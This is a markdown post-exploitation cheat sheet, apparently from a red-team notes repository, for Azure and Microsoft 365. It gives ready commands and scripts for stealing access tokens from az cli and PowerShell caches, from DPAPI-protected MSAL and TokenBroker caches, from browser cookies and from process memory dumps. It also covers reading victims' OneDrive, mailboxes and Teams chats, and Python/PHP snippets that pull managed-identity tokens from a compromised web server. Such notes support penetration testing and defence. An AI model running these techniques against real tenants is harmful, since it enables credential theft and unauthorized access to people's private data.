Skip to content

Latest commit

 

History

History
508 lines (401 loc) · 15.8 KB

post-exploitation.md

File metadata and controls

508 lines (401 loc) · 15.8 KB

Post exploitation

Index

Getting credentials

Stealing access tokens

Stealing tokens from az cli

  • az cli stores encrypted access tokens in the directory C:\Users\<username>\.Azure
    • Before 2.30.0 – January 2022 az cli stores access tokens in clear text in accessTokens.json
    • Azure/azure-cli#19707
  • To clear the access tokens, always use az logout

Check which account is connected

az account show

Check permissions the account has

az resource list

Get access token

az account get-access-token --resource https://management.azure.com
az account get-access-token --resource https://vault.azure.net

Connect with tokens

$mgmtToken = <TOKEN>
$keyvaultToken = <TOKEN>
Connect-AzAccount -AccessToken $mgmtToken -KeyVaultAccessToken $keyvaultToken -AccountId <ID>

Abuse the resource

Stealing tokens from az powershell

  • Az PowerShell (older versions) stores access tokens in clear text in TokenCache.dat in the directory C:\Users\<username>\.Azure
  • It also stores ServicePrincipalSecret in clear-text in AzureRmContext.jsonif a service principal secret is used to authenticate.
  • Another interesting method is to take a process dump of PowerShell and looking for tokens in it!
  • Users can save tokens using Save-AzContext, look out for them! Search for Save-AzContext in PowerShell console history!
  • Always use Disconnect-AzAccount

Save the AzureRmContext.json

cp %USERPROFILE%\.Azure\AzureRmContext.json C:\temp\AzureRmContext.json

Get the authenticated token for the user

Add-Type -AssemblyName System.Security; [Convert]::ToBase64String([Security.Cryptography.ProtectedData]::Unprotect((([Text.Encoding]::Default).GetBytes((Get-Content -raw "$env:userprofile\AppData\Local\.IdentityService\msal.cache"))), $null, [Security.Cryptography.DataProtectionScope]::CurrentUser))

Save the token into AzureRmContext.json

  • Open AzureRmContext.json file in a notepad and find the line near the end of the file title “CacheData”. It should be null.

Import the token

Import-AzContext -Path 'C:\Temp\Live Tokens\StolenToken.json’

or Save azcontext

Save-AzContext -Path C:\Temp\AzureAccessToken.json

Import the token

Import-AzContext -Path 'C:\Temp\Live Tokens\StolenToken.json’

Azure Portal

  • Steal access tokens from the azure portal
  1. Press F12 in the browser and click on Network tab.
  2. Search for api-version, copy the Bearer access token in the Request headers
  3. Check the Request URL to see which access token it is (Arm, Graph etc).

Dump Chrome AUTHPERSIST cookie

.\SharpChrome.exe cookies /url:login.microsoftonline.com /cookie:"ESTSAUTH" /format:table
.\SharpChrome.exe cookies /url:login.microsoftonline.com /cookie:"ESTSAUTHPERSISTENT" /format:table

Cached credentials

  • Tokens cached by office are stored in %LOCALAPPDATA%\Microsoft\TokenBroker\Cache in .TBRES protected by DPAPI

List processes and check for office applications

Get-Process -IncludeUserName

Check for the cache file

  • Make sure to check for the user that the office/MS application is running as
dir %LOCALAPPDATA%\Microsoft\TokenBroker\Cache

Get-ChildItem $env:LOCALAPPDATA\Microsoft\TokenBroker\Cache

dir C:\Users\<USER>\AppData\Local\Microsoft\TokenBroker\Cache

Decrypt tbres files

./TBRES.exe

Invoke-RunasCs -Username <USER> -Password <PASSWORD> -Command <PATH TO TBRES.exe>

Grab access tokens

  • 25XXXXXXXXX.tbres.decrypted contains access token for outlook.office365.com
  • 7dXXXXXXXXX.tbres.decrypted and f2XXXXXXXXX.tbres.decrypted contains access tokens for MS Graph
  • Decode token in https://jwt.io
Get-ChildItem C:\Windows\System32\*.tbres.decrypted | Sort-Object -Property Length -Descending

Get-Content C:\Windows\System32\*.tbres.decrypted

Get-Content C:\Windows\System32\7d*.tbres.decrypted | Select-String "eyJ0"

MITM listen network traffic

  • We can intercept the SSL/TLS traffic and extract the tokens.

Read access tokens from memory

  • Using Procdump, we can create a memory dump of an Office 365 application and then analyze it for useful tokens.

List processes and check for office applications

Get-Process -IncludeUserName

Dump memory of process

.\procdump.exe -mp <PID> -accepteula

Run Strings

.\Strings.exe <DUMP FILE> -accepteula | findstr /i eyJ0eX

AzTokenFinder

.\AzTokenFinder.exe --mode online --processname winword

Requesting tokens once logged in

AZ powershell

  • Supported tokens - AadGraph, AnalysisServices, Arm, Attestation, Batch, DataLake, KeyVault, OperationalInsights, ResourceManager, Synapse
Get-AzAccessToken -ResourceTypeName AadGraph

Azure CLI

  • Supported tokens - aad-graph, arm, batch, data-lake, media, ms-graph, oss-rdbms
az account get-access-token --resource-type ms-graph 

Steal certificates

  • Steal certificates from
    • User/machine certificate stores or files
    • Key vaults, Storage Accounts, Automation accounts, App services
  • Link to Post Exploitation ADCS
  • Then use the certificated to authenticate to AD

Visual Studio Code

  • Azure Cloud Service Packages (.cspkg)
  • Deployment files created by Visual Studio.
  • Possible other Azure services integration (SQL, storage, etc.)
  • Through cspkg zip files for creds/certs.
  • Search Visual Studio Public Directory <cloud project directory>\bin\debug\publish

Publish settings in files

  • Look for file .publishsettings
  • Can contain a Base64 encoded Management Certificate or cleartext credentials
  • Save "ManagementCertificate" section into a new .pfx file
  • Search the user's Downloads directory and VS projects.

Storage explorers

  • Windows Credential Manager stores these credentials.
  • Azure Storage Explorer for example has a built-in “Developer Tools” function that you can use to set breakpoints while loading the credentials allowing you to view them while unencrypted.

Web config and App config files

  • Web.config and app.config files might contain creds or access tokens.
  • Look for management cert and extract to .pfx like publishsettings files
sudo find / -name web.config 2>/dev/null
Get-ChildItem -Path C:\ -Filter app.config -Recurse -ErrorAction SilentlyContinue -Force

Internal repositories

Command history

  • Look through command history
  • ~/.bash_history or %USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
sudo find / -name .bash_history 2>/dev/null
Get-ChildItem -Path C:\ -Filter *ConsoleHost_history.txt* -Recurse -ErrorAction SilentlyContinue -Force
cat <FILE> | select-string password
cat <FILE> | select-string secure

Get-Childitem -Path C:\* -Force -Include *transcript* -Recurse -ErrorAction SilentlyContinue
type C:\Transcripts\20210422\PowerShell_transcript.DESKTOP-M7C1AFM.6sZJrDuN.20210422230739.txt

Abuse SSO Request Refresh tokens

Data harvesting

OneDrive

List OneDrive files

$GraphAccessToken = ""

$Params = @{
	"URI" = "https://graph.microsoft.com/beta/me/drive/root/children"
	"Method" = "GET"
	"Headers" = @{
		"Authorization" = "Bearer $GraphAccessToken"
		"Content-Type" = "application/json"
	}
}
$Result = Invoke-RestMethod @Params -UseBasicParsing
$Result.value

$Result.value | Select-Object name, '@microsoft.graph.downloadUrl' | fl
  • GraphSpy
    • Import the Access token manually
    • Browse to Files --> OneDrive and then select the access token and click Browse

Download file

  • Get the URL of specific file
$FileName = ""

($Result.value | Where-Object -Property name -Like $FileName).'@microsoft.graph.downloadUrl'
  • Copy the URL and paste in browser. File will download.

Mailbox

  • Requires scope Mail.Read or Mail.ReadWrite

Connect MgGraph Module

  • Link to enumeration page

Read email

Get-MgUserMessage -UserId <USER> | fl

# Read entire content
((Get-MgUserMessage -UserId <USER ID> -MessageId <MESSAGE ID>).Body).Content
Get-Inbox -Tokens $Token -userid <TOKENS> -Verbose

Open mailbox

Get list of users

Get-AzureADUsers -Tokens $tokens -OutFile users.txt

Check open mailboxes

Invoke-GraphOpenInboxFinder -tokens $tokens -Userlist users.txt

Read open inbox, only works with the correct tokens

  • Go to Graph Explorer and click on your name in the right top and click on "Consent to permissions"
  • Consent to Mail.Read.Shared and Mail.ReadWrite.Shared
    1. If Admin approval pops up then they didn't allow Graph yet still run to discover open mailbox!
    2. Consent to the permissions
  • Go to access tokens and copy it
  • Place it in the $tokens.access_token variable
Get-Inbox -Tokens $tokens -userid <ID>

Read open inbox Outlook Online

  • Requires license
  • Open outlook online and right click on "Folders" then "Add shared folder or mailbox" and add the email.

Teams chat

  • Requires scope Chat.Read

Connect MgGraph Module

  • Link to enumeration page

List chats

Get-MgChat | fl

List messages of chat

Get-MgChatMessage -ChatId <CHAT ID> | fl

Read full message

  • Possible to read deleted messages.
Get-MgChatMessage -ChatId <CHAT ID> -ChatMessageId <MESSAGE ID>

(Get-MgChatMessage -ChatId <CHAT ID> -ChatMessageId <MESSAGE ID>).Body.Content

Azure SQL

  • Azure Transparent Data Encryption (TDE) is enabled by default
  • Encrypts data at rest to prevent offline attacks (unless you export it…)
  • Azure SQL servers get a DNS name at .database.windows.net
  • Can run SQL queries in portal
  • Azure SQL BACPAC backup files are not encrypted… even when Transparent Data Encryption is enabled
    • Can restore BACPAC database backup to another Azure SQL Server
    • Search for bacpac’s on disk and in blob storage then restore in another Azure account to analyze

List SQL servers

Get-AzSQLServer

List databases

Get-AzSqlDatabase -ServerName <Server Name> -ResourceGroupName <Resource Group Name>

Check allow list to database

Get-AzSqlServerFirewallRule –ServerName <ServerName> -ResourceGroupName <ResourceGroupName>

List out SQL server AD Admins

Get-AzSqlServerActiveDirectoryAdminstrator -ServerName <ServerName> -ResourceGroupName <ResourceGroupName>

Get BACPAC backup file of database

Get-AzSqlDatabaseTransparentDataEncryption -ServerName <ServerName> -DatabaseName <DatabaseName> -ResourceGroupName <ResourceGroupName>

Compliance search

  • Must be a member of “eDiscovery Manager” role group in Security & Compliance Center (Administrator, compliance officer, or eDiscover manager)
  • https://protection.office.com
  • Search through almost all office365 services

Metadata Service URL

http://169.254.169.254/metadata

Get access tokens from the metadata service

GET 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' HTTP/1.1 Metadata: true

MISC

Stealing tokens with tools

Stealing token scripts

Python

  • Example: Run following code when compromising an webserver with a service principal for the webapp
import os
import json

IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
IDENTITY_HEADER = os.environ['IDENTITY_HEADER']

cmd = 'curl "%s?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)

val = os.popen(cmd).read()

print("[+] Management API")
print("Access Token: "+json.loads(val)["access_token"])
print("ClientID: "+json.loads(val)["client_id"])

cmd = 'curl "%s?resource=https://graph.microsoft.com/&api-version=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)

val = os.popen(cmd).read()
print("\r\n[+] Graph API")
print(json.loads(val)["access_token"])
print("ClientID: "+json.loads(val)["client_id"])

PHP

  • Example: Run following code when compromising an webserver with a service principal for the webapp
<?php 

system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');

system('curl "$IDENTITY_ENDPOINT?resource=https://graph.windows.net/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');

system('curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');

?>

Requesting access tokens

Curl

  • ARM
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
  • Azure AD Graph
curl "$IDENTITY_ENDPOINT?resource=https://graph.windows.net/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
  • Microsoft Graph
curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
  • Keyvault
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

PHP

  • ARM
<?php
  system ('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');
?>
  • Azure AD Graph
<?php
  system ('curl "$IDENTITY_ENDPOINT?resource=https://graph.windows.net/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');
?>
  • Microsoft Graph
<?php
  system ('curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');
?>
  • Keyvault
<?php
  system ('curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');
?>